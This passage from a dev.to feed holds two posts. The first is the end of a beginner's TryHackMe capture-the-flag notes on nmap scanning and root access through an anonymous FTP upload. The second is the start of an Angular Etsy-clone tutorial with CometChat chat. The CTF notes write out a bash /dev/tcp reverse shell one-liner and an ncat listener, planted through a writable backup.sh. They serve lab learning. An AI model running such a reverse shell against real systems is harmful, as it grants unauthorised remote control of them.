&lt;li&gt;RST = Closed&lt;/li&gt;
&lt;li&gt;Multiple attempts = filtered&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;Timing template -&amp;gt; &lt;code&gt;-T0&lt;/code&gt; to &lt;code&gt;-T5&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;default is &lt;code&gt;-T3&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;level 0 is 1 port scan every 5 minutes&lt;/li&gt;
&lt;li&gt;level 5 is 1 port scan every 0.3 seconds&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;
&lt;code&gt;-Pn&lt;/code&gt;: Treat all hosts as online -&amp;gt; skip host discovery&lt;/li&gt;

&lt;li&gt;
&lt;code&gt;-sV&lt;/code&gt;: Probe open ports to determine service/version info&lt;/li&gt;

&lt;li&gt;history

&lt;ul&gt;
&lt;li&gt;ran &lt;code&gt;nmap -sS {ip}&lt;/code&gt; just to answer the first question.

&lt;ul&gt;
&lt;li&gt;compared the output to connect scan &lt;code&gt;-sT&lt;/code&gt;. This seems much slower than SYNC scan, didn't wait for it to timeout as not being patient =P&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;ran &lt;code&gt;nmap -Pn {ip}&lt;/code&gt; and got almost the exact output compared to SYNC scan&lt;/li&gt;

&lt;li&gt;Compared the output of &lt;code&gt;-A&lt;/code&gt; and &lt;code&gt;-sV&lt;/code&gt;
&lt;/li&gt;

&lt;li&gt;ran &lt;code&gt;nmap --script http-title 10.10.253.171&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;this returns "Internal Blog"&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;ran &lt;code&gt;nmap --script http-apache-server-status 10.10.253.171&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;this don't return anything extra&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;ran &lt;code&gt;nmap --script ssh-auth-methods 10.10.253.171&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;this reveals that the server support publickey and password ssh auth.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Day 9️⃣ - Root access via anonymous FTP &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;The ability to gain root access depends on ALL the following

&lt;ul&gt;
&lt;li&gt;anonymous mode for FTP is enabled&lt;/li&gt;
&lt;li&gt;Permission for anonymous user to upload files&lt;/li&gt;
&lt;li&gt;Ability to execute code as root using the file that we uploaded&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;History

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;ftp {ip}&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;type &lt;code&gt;anonymous&lt;/code&gt; as the username&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ftp&amp;gt; ls -la&lt;/code&gt; to list all files and folder of the current directory&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;
&lt;code&gt;ftp&amp;gt; ls public&lt;/code&gt; to list all files inside the directory that anonymous user has read and write permission.&lt;/li&gt;

&lt;li&gt;
&lt;code&gt;ftp&amp;gt; cd public; get backup.sh; get shoppinglist.txt&lt;/code&gt;

&lt;ul&gt;
&lt;li&gt;this will answer the last two questions&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;The last question guide us to use reverse shell to gain access to the root shell.

&lt;ul&gt;
&lt;li&gt;however an easier shortcut is just to run 

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cat /root/flag.txt &amp;gt; flag.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;followed by &lt;code&gt;ftp&amp;gt; get flag.txt&lt;/code&gt; to read the flag.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;also tried the recommended reverse shell method as this is the most flexible generic method.

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/{dev ip}}/4444 0&amp;gt;&amp;amp;1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;run listener on dev machine &lt;code&gt;ncat -lvnp 4444&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;==conclusion==

&lt;ul&gt;
&lt;li&gt;need to use the reverse shell method.&lt;/li&gt;
&lt;li&gt;somehow flag.txt didn't get writen despite putting both the commands in &lt;code&gt;backup.sh&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;One last important point, haven't found a way to change a new file that is uploaded to have executable permission.&lt;/li&gt;
&lt;li&gt;Thus, just need to write the exploit script in &lt;code&gt;backup.sh&lt;/code&gt; which has executable permission.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>beginners</category>
      <category>tryhackme</category>
      <category>ctf</category>
    </item>
    <item>
      <title>How to Build a Marketplace with Angular (Etsy Clone)</title>
      <dc:creator>Middleclass Dev</dc:creator>
      <pubDate>Thu, 16 Sep 2021 17:04:43 +0000</pubDate>
      <link>https://dev.to/middleclassdev/how-to-build-a-marketplace-with-angular-etsy-clone-1oae</link>
      <guid>https://dev.to/middleclassdev/how-to-build-a-marketplace-with-angular-etsy-clone-1oae</guid>
      <description>&lt;h2&gt;
  
  
  What you’ll be building
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgavilfvwp0brzrqje0dj.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgavilfvwp0brzrqje0dj.gif" alt="Snapshots of the simple Etsy clone, spice up with chat 🗯 functionality!" width="600" height="399"&gt;&lt;/a&gt;&lt;/p&gt;
Snapshots of the simple Etsy clone, spice up with chat 🗯 functionality!



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1zlux63li60pn9o5mn6s.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1zlux63li60pn9o5mn6s.gif" alt="Demonstrating seller’s reply using mobile view 📱" width="307" height="548"&gt;&lt;/a&gt;&lt;/p&gt;
Demonstrating seller’s reply using mobile view 📱



&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Building a marketplace website is a great way to learn frontend programming. This is because it requires both creating a good user interface experience 🖥 and interacting with backend APIs 🧠. &lt;/p&gt;

&lt;p&gt;On top of a basic marketplace website, by the end of this tutorial you will be equipped with the knowledge of how to integrate live chat 🗣 using simple yet powerful &lt;a href="https://www.cometchat.com/pro" rel="noopener noreferrer"&gt;CometChat Pro&lt;/a&gt; SDKs &amp;amp; API. We will be focusing on using the &lt;a href="https://prodocs.cometchat.com/docs/js-angular-ui-kit" rel="noopener noreferrer"&gt;Angular UI Kit&lt;/a&gt; out of the many supported CometChat Pro UI Kits. &lt;/p&gt;

&lt;p&gt;All source code in this tutorial can be found in &lt;a href="https://github.com/wizlee/angular-marketplace" rel="noopener noreferrer"&gt;this Github repo&lt;/a&gt;. It consists of two main folders: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a starter folder for you to follow along and&lt;/li&gt;
&lt;li&gt;a final folder that you can quickly spin up to experience the end result.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With that said, let’s jump right in for an exciting learning journey 🚀! &lt;/p&gt;




&lt;h2&gt;
  
  
  Prerequisites
&lt;/h2&gt;

&lt;p&gt;This tutorial is geared towards a beginner with a few intermediate level usage of Angular. The intention is to maximise 📈 learning and to create a good working demo of an Etsy marketplace clone. &lt;/p&gt;

&lt;p&gt;Listed below are what you will need to get the most out of this tutorial:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A basic understanding of HTML, JavaScript and TypeScript. &lt;/li&gt;
&lt;li&gt;Angular Version 11. &lt;/li&gt;
&lt;li&gt;Node JS Version 10 or higher.&lt;/li&gt;
&lt;li&gt;Any modern text editor, VS Code is recommended. &lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Running the Angular Marketplace Example Online
&lt;/h2&gt;

&lt;p&gt;To instantly ⚡ dip your toe into running and changing the website content, you can use the Stackblitz online editor and preview shown below. Note that this is the starter website and not our final version shown as GIFs at the top of this article.&lt;/p&gt;

&lt;p&gt;Here it is in action:&lt;br&gt;
&lt;iframe src="https://stackblitz.com/edit/github-agx2ep?view=preview&amp;amp;file=src/main.ts" width="100%" height="500"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;After exploring the code and the website in StackBlitz, it is still recommended to run the example locally due to performance and security reasons. That will be covered in the next section. &lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Running the Angular Marketplace Example Locally&lt;/strong&gt;
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Install Node.js and NPM from &lt;a href="https://nodejs.org/" rel="noopener noreferrer"&gt;https://nodejs.org/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Download or clone the project source code from &lt;a href="https://github.com/wizlee/angular-marketplace" rel="noopener noreferrer"&gt;https://github.com/wizlee/angular-marketplace&lt;/a&gt;.

&lt;ul&gt;
&lt;li&gt;Note: If you are using git clone in windows, you may need to run &lt;code&gt;git config --global core.longpaths true&lt;/code&gt;  before cloning in order for the clone to be successful. This is to overcome the windows filepath length limitation. &lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Change directory to the ‘&lt;em&gt;angular-marketplace&lt;/em&gt;’ folder that you just downloaded/cloned - &lt;code&gt;cd angular-marketplace&lt;/code&gt;. &lt;/li&gt;
&lt;li&gt;We will use the '&lt;em&gt;angular-marketplace-start&lt;/em&gt;’ folder as our base project and work our way to the final version. First, change directory into it by running &lt;code&gt;cd angular-marketplace-start&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Install all required npm packages by running &lt;code&gt;npm install&lt;/code&gt; or &lt;code&gt;npm i&lt;/code&gt; from the command line in the '&lt;em&gt;angular-marketplace-start&lt;/em&gt;’ project folder. &lt;/li&gt;
&lt;li&gt;Install Angular CLI version 11 globally on your system by running &lt;code&gt;npm install -g @angular/cli@11&lt;/code&gt;. &lt;/li&gt;
&lt;li&gt;Start the application by running &lt;code&gt;npm start&lt;/code&gt; from the command line in the project folder.&lt;/li&gt;
&lt;li&gt;The following screen will greet you after Angular prompted you to view the website by going to &lt;a href="http://localhost:4200/" rel="noopener noreferrer"&gt;http://localhost:4200/&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7dj4ug17zulth63y1utt.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7dj4ug17zulth63y1utt.gif" alt="Voilà! We are already presented with a complete Etsy home page. In the following sections the rest of the functionalities 🛠 will be gradually added" width="760" height="506"&gt;&lt;/a&gt;&lt;/p&gt;
Voilà! We are already presented with a complete Etsy home page. In the following sections the rest of the functionalities 🛠 will be gradually added






&lt;h2&gt;
  
  
  Project Structure 🏗
&lt;/h2&gt;

&lt;p&gt;Before going into the step by step tutorial, a list of important folders are shown below, followed by its explanation. Most files and folders are excluded to focus 🎯 on the items that will provide the best overview for you.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;- angular-marketplace-final
    - ...
- angular-marketplace-start
    - src
        - app
            - account
                - ...
            - app-routing.module.ts
            - app.component.html
            - app.component.ts
            - app.module.ts
            - chat
                - ...
            - home
                - ...
            - product
                - …
        - assets
            - ...
        - CONSTS.ts
        - index.html
        - main.ts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Going from top to bottom, we will be focusing on &lt;strong&gt;angular-marketplace-start&lt;/strong&gt; because &lt;strong&gt;angular-marketplace-final&lt;/strong&gt; contains identical folder structures. The only difference being that the final folder is what we will achieve by the end of this tutorial. You can choose to quickly run the final version by following &lt;a href="https://github.com/wizlee/angular-marketplace#running-the-demo" rel="noopener noreferrer"&gt;the steps in Github&lt;/a&gt; before going for the detailed step by step tutorial in this article.&lt;/p&gt;

&lt;p&gt;We will spend most of our time in the &lt;strong&gt;src&lt;/strong&gt; folder. The files outside of this folder are configuration files for Angular, TypeScript or NPM. &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The &lt;strong&gt;app&lt;/strong&gt; 📦 folder contains all our Angular modules and components. Every folders inside here is an Angular module that serves a specific feature for our marketplace website. The 4 files prefixed with the word &lt;strong&gt;app&lt;/strong&gt; in this folder are for the default &lt;strong&gt;App&lt;/strong&gt; module. They serves as an entry point for the 4 modules.

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Account&lt;/strong&gt; module: Handles everything that relates to authentication (sign up, login, etc). &lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Chat&lt;/strong&gt; module: Provides chat functionality.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Home&lt;/strong&gt; module: Contains all the UI components for the home page.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Product&lt;/strong&gt; module:  Fetches, add and displays products.&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;

&lt;li&gt;The &lt;strong&gt;asset&lt;/strong&gt; 📂 folder contains all our static resources such as pictures and external files from the internet. &lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;CONSTS.ts&lt;/strong&gt; is a file that stores all the CometChat constants of our website.&lt;/li&gt;

&lt;li&gt;Finally, &lt;strong&gt;index.html&lt;/strong&gt; and &lt;strong&gt;main.ts&lt;/strong&gt; are the entry point for any Angular project. Specifically, index.html is often the default file to serve for a website while main.ts bootstraps the Angular default &lt;strong&gt;App&lt;/strong&gt; module. &lt;/li&gt;

&lt;/ol&gt;




&lt;h2&gt;
  
  
  Step 1️⃣: Integrate CometChat 💬
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;This section is the continuation of “Running the Angular Marketplace Example Locally” section above. Make sure to complete the steps in that section before starting here. &lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.cometchat.com/pro?utm_source=github&amp;amp;utm_medium=link&amp;amp;utm_campaign=angular-marketplace" rel="noopener noreferrer"&gt;Head to CometChat Pro and create an account&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;From the &lt;a href="https://app.cometchat.com/signup?utm_source=github&amp;amp;utm_medium=link&amp;amp;utm_campaign=angular-marketplace" rel="noopener noreferrer"&gt;dashboard&lt;/a&gt;, create a new app called "Angular Marketplace" as shown below:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsouinrrz0e3o51bnkt0y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsouinrrz0e3o51bnkt0y.png" alt="CometChat add new app screenshot" width="800" height="601"&gt;&lt;/a&gt;&lt;/p&gt;
CometChat add new app screenshot


&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Once created, go into your app, and you will be presented a quick start page as below. Take note of the &lt;code&gt;APP ID&lt;/code&gt;, &lt;code&gt;Region&lt;/code&gt; and &lt;code&gt;Auth Key&lt;/code&gt; values.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6lcgfm5xuv7ipqhpj0xw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6lcgfm5xuv7ipqhpj0xw.png" alt="CometChat quick start screenshot" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;
CometChat quick start screenshot


&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If you haven’t done so, open the &lt;strong&gt;angular-marketplace-start&lt;/strong&gt; folder in VS Code or any other modern text editor.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Modify the &lt;code&gt;APP ID&lt;/code&gt;, &lt;code&gt;Region&lt;/code&gt; and &lt;code&gt;Auth Key&lt;/code&gt; values in &lt;strong&gt;angular-marketplace-start/src/CONSTS.ts&lt;/strong&gt; into the values you get from step #3 above. &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://prodocs.cometchat.com/docs/js-angular-ui-kit" rel="noopener noreferrer"&gt;Setup CometChat’s Angular UI Kit&lt;/a&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Add CometChat dependency - &lt;code&gt;npm install @cometchat-pro/chat@2.2.1 --save&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Initialize CometChat ✨ by modifying angular-marketplace-start/src/main.ts into the following:
&lt;a href="https://gist.github.com/wizlee/9fb5bc670cace9971bbc13b369e7fffd" rel="noopener noreferrer"&gt;https://gist.github.com/wizlee/9fb5bc670cace9971bbc13b369e7fffd&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;- Add CometChat Angular UI Kit into the starter project:
    - Download Angular UI Kit using [this link](https://github.com/cometchat-pro/cometchat-pro-angular-ui-kit/archive/refs/tags/v2.2.1-1.zip). 
    - Rename the unzipped folder into **cometchat-pro-angular-ui-kit** and copy the folder into **angular-marketplace-start/src/.** The directory should look similar as below:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx3t628f2lgmjwm58i5pg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx3t628f2lgmjwm58i5pg.png" alt="Folder structure after adding CometChat Angular UI Kit" width="424" height="606"&gt;&lt;/a&gt;&lt;/p&gt;
Folder structure after adding CometChat Angular UI Kit



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;- Install @ctrl/ngx-emoji-mart by running `npm install @ctrl/ngx-emoji-mart@5.1.1 --save`
- Modify the styles in **angular-marketplace-start/angular.json** to the values as shown below:
"styles": [
  "src/styles.css",
  "node_modules/@ctrl/ngx-emoji-mart/picker.css",
  "src/cometchat-pro-angular-ui-kit/CometChatWorkspace/projects/angular-chat-ui-kit/src/css/styles.scss"
  ]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;ol&gt;
&lt;li&gt;That’s all for the CometChat integration! Let’s have a pit stop 🛑 here and make sure everything is working correctly. 

&lt;ol&gt;
&lt;li&gt;At this stage, we had initialize CometChat and install all the dependencies that our website requires.&lt;/li&gt;
&lt;li&gt;We can verify this by running our website using the &lt;code&gt;npm start&lt;/code&gt; command. 

&lt;ol&gt;
&lt;li&gt;You can directly start with the steps below if you always kept the website running all these while. By now you will realized that Angular supports hot reload ⚡ by default, which means that any changes we made to the source code will automatically reflect in our website.
&lt;/li&gt;
&lt;li&gt;Our website is running at &lt;a href="http://localhost:4200/" rel="noopener noreferrer"&gt;http://localhost:4200/&lt;/a&gt; by default. Open it in any modern browser and press the ‘F12’ key to bring up the developer console. &lt;/li&gt;
&lt;li&gt;If everything is smooth sailing ⛵ so far you will see “CometChat initialized successfully” in the console log as shown below. 
&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi3vd6lp7vkz5h095uyo5.png" alt="Browser Dev Tool console log" width="800" height="69"&gt;Browser Dev Tool console log

&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;

&lt;/ol&gt;

&lt;/li&gt;

&lt;/ol&gt;




&lt;h2&gt;
  
  
  Step 2️⃣: Sign In &amp;amp; Inbox 📥 Features
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;In this section, we will first start with the Sign In feature. The result is as shown below:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjnorzp5ogpuuxnxvhep8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjnorzp5ogpuuxnxvhep8.png" alt="Screenshot for Sign In and Register" width="800" height="903"&gt;&lt;/a&gt;&lt;/p&gt;
Screenshot for Sign In and Register



&lt;ol&gt;
&lt;li&gt;The ‘Sign In and Register dialog’ is a modal dialog that overlays any existing page by giving it a grey overlay to make the modal dialog stand out.&lt;/li&gt;
&lt;li&gt;All UI and logic 🧠 for this dialog are handled in two files:

&lt;ol&gt;
&lt;li&gt;angular-marketplace-start/src/app/account/login.component.ts&lt;/li&gt;
&lt;li&gt;angular-marketplace-start/src/app/account/login.component.html&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;

&lt;li&gt;No change is required for the UI code (login.component.html), while &lt;strong&gt;login.component.ts&lt;/strong&gt; already contains most of the code for it to work. The complete changes are shown below, or you can always refer to the &lt;strong&gt;angular-marketplace-final&lt;/strong&gt; folder for the full version anytime throughout this tutorial. 
&lt;a href="https://gist.github.com/wizlee/3c7bd741f0a0467ba44dc39fea7e2089" rel="noopener noreferrer"&gt;&lt;/a&gt;&lt;a href="https://gist.github.com/wizlee/3c7bd741f0a0467ba44dc39fea7e2089" rel="noopener noreferrer"&gt;https://gist.github.com/wizlee/3c7bd741f0a0467ba44dc39fea7e2089&lt;/a&gt;
&lt;/li&gt;

&lt;/ol&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;After successfully login or registering new users, it’s time for the inbox 📥 feature.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuhhoqyohov0qr3i1tbpg.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuhhoqyohov0qr3i1tbpg.gif" alt="Demo for Inbox feature" width="760" height="506"&gt;&lt;/a&gt;&lt;/p&gt;
Demo for Inbox feature



&lt;ol&gt;
&lt;li&gt;The inbox button navigation is already implemented by the &lt;strong&gt;Inbox&lt;/strong&gt; component (src/app/inbox/inbox.component.ts). 
navigateToConversationListScreen() {
this.router.navigate(["/conversation"]);
}&lt;/li&gt;
&lt;li&gt;On the other hand, the CometChat inbox component is already done by the &lt;strong&gt;CometChatConversation&lt;/strong&gt; component (src/app/inbox/comet-chat-conversation.component.html).


&lt;/li&gt;
&lt;li&gt;So why the inbox feature is still not working? 🤔 If you guess that the Chat module has not routed the &lt;strong&gt;Inbox&lt;/strong&gt; component request to the &lt;strong&gt;CometChatConversation&lt;/strong&gt;, you are spot on ✅. Update &lt;strong&gt;src/app/inbox/chat.module.ts&lt;/strong&gt; to the same as below to connect the dots! 
&lt;a href="https://gist.github.com/wizlee/2c5c7f466d036c4fb9d0bfc83f784e6c" rel="noopener noreferrer"&gt;https://gist.github.com/wizlee/2c5c7f466d036c4fb9d0bfc83f784e6c&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;


&lt;h2&gt;
  
  
  Step 3️⃣: List &amp;amp; Add Goods
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;First, we will enable the feature to list goods 🛒.  A ‘fake’ backend is used to retrieve our goods to keep the code and the setup simple. The result is as shown below:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbkwy6gu0d3bin0ni30h4.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbkwy6gu0d3bin0ni30h4.gif" alt="Demo for listing goods using the ‘fake’ backend - src/product/_api" width="600" height="399"&gt;&lt;/a&gt;&lt;/p&gt;
Demo for listing goods using the ‘fake’ backend - src/product/_api



&lt;ol&gt;
&lt;li&gt;Most of the code related to goods can be found in the &lt;strong&gt;Product&lt;/strong&gt; module in src/product/ folder. &lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;src/product/_api&lt;/strong&gt; is the ‘fake’ backend. It is consisted of: 

&lt;ol&gt;
&lt;li&gt;A JSON file (&lt;strong&gt;facemasks.json&lt;/strong&gt;) that acts as a database 📜 to store all the product information - image encoded as base64 string, title of the product, seller, shop name, etc. &lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;get-product-detail-service.ts&lt;/strong&gt;, which is an Angular service that provides the interfaces to any of our components to interact with facemasks.json. &lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;By tracing 🕵️‍♂️ from the home page, we can figure out that &lt;strong&gt;product-banner.component.ts&lt;/strong&gt; is responsible to route to the component that shows the facemask products.
onViewFaceMask(): void {
this.router.navigate(["facemask"]);
}&lt;/li&gt;
&lt;li&gt;Even with all that code, you may again wonder why clicking on the face masks category will still show ‘Page Not found’ 🤔. If you guess that the Home module hasn’t yet routed the request to the correct component, you are right ✅ again! Add the code below into &lt;strong&gt;src/app/home/home.module.ts&lt;/strong&gt; and witness the facemask products get listed!
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// ...
import { ProductModule } from "../product/product.module";
import { FaceMaskProductListComponent } from "../product/face-mask-product-list.component";
import { ProductDetailComponent } from "../product/product-detail.component";

const routes: Routes = [
  {
    path: "home",
    component: ContentComponent,
  },
  {
    path: "facemask",
    component: FaceMaskProductListComponent,
  },
  {
    path: ":product/detail/:id",
    component: ProductDetailComponent,
  },
];

imports: [
    // all the previous imports are not shown, only the one below is new
    ProductModule,
  ],
&lt;/code&gt;&lt;/pre&gt;


&lt;ol&gt;
&lt;li&gt;Checkpoint 🛑 : Note that only one facemask product is listed. For those of you with eagle 🦅 eyes, you will notice this is due to the &lt;code&gt;isVisible&lt;/code&gt; key in the &lt;strong&gt;facemasks.json&lt;/strong&gt; file. We will go through how to workaround this and ‘add’ more facemasks in the next step.
&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5e14qcfic1mo8v2yekqo.png" alt="Snippet of  facemasks.json to illustrate isVisible key" width="800" height="653"&gt;Snippet of  facemasks.json to illustrate isVisible key

&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
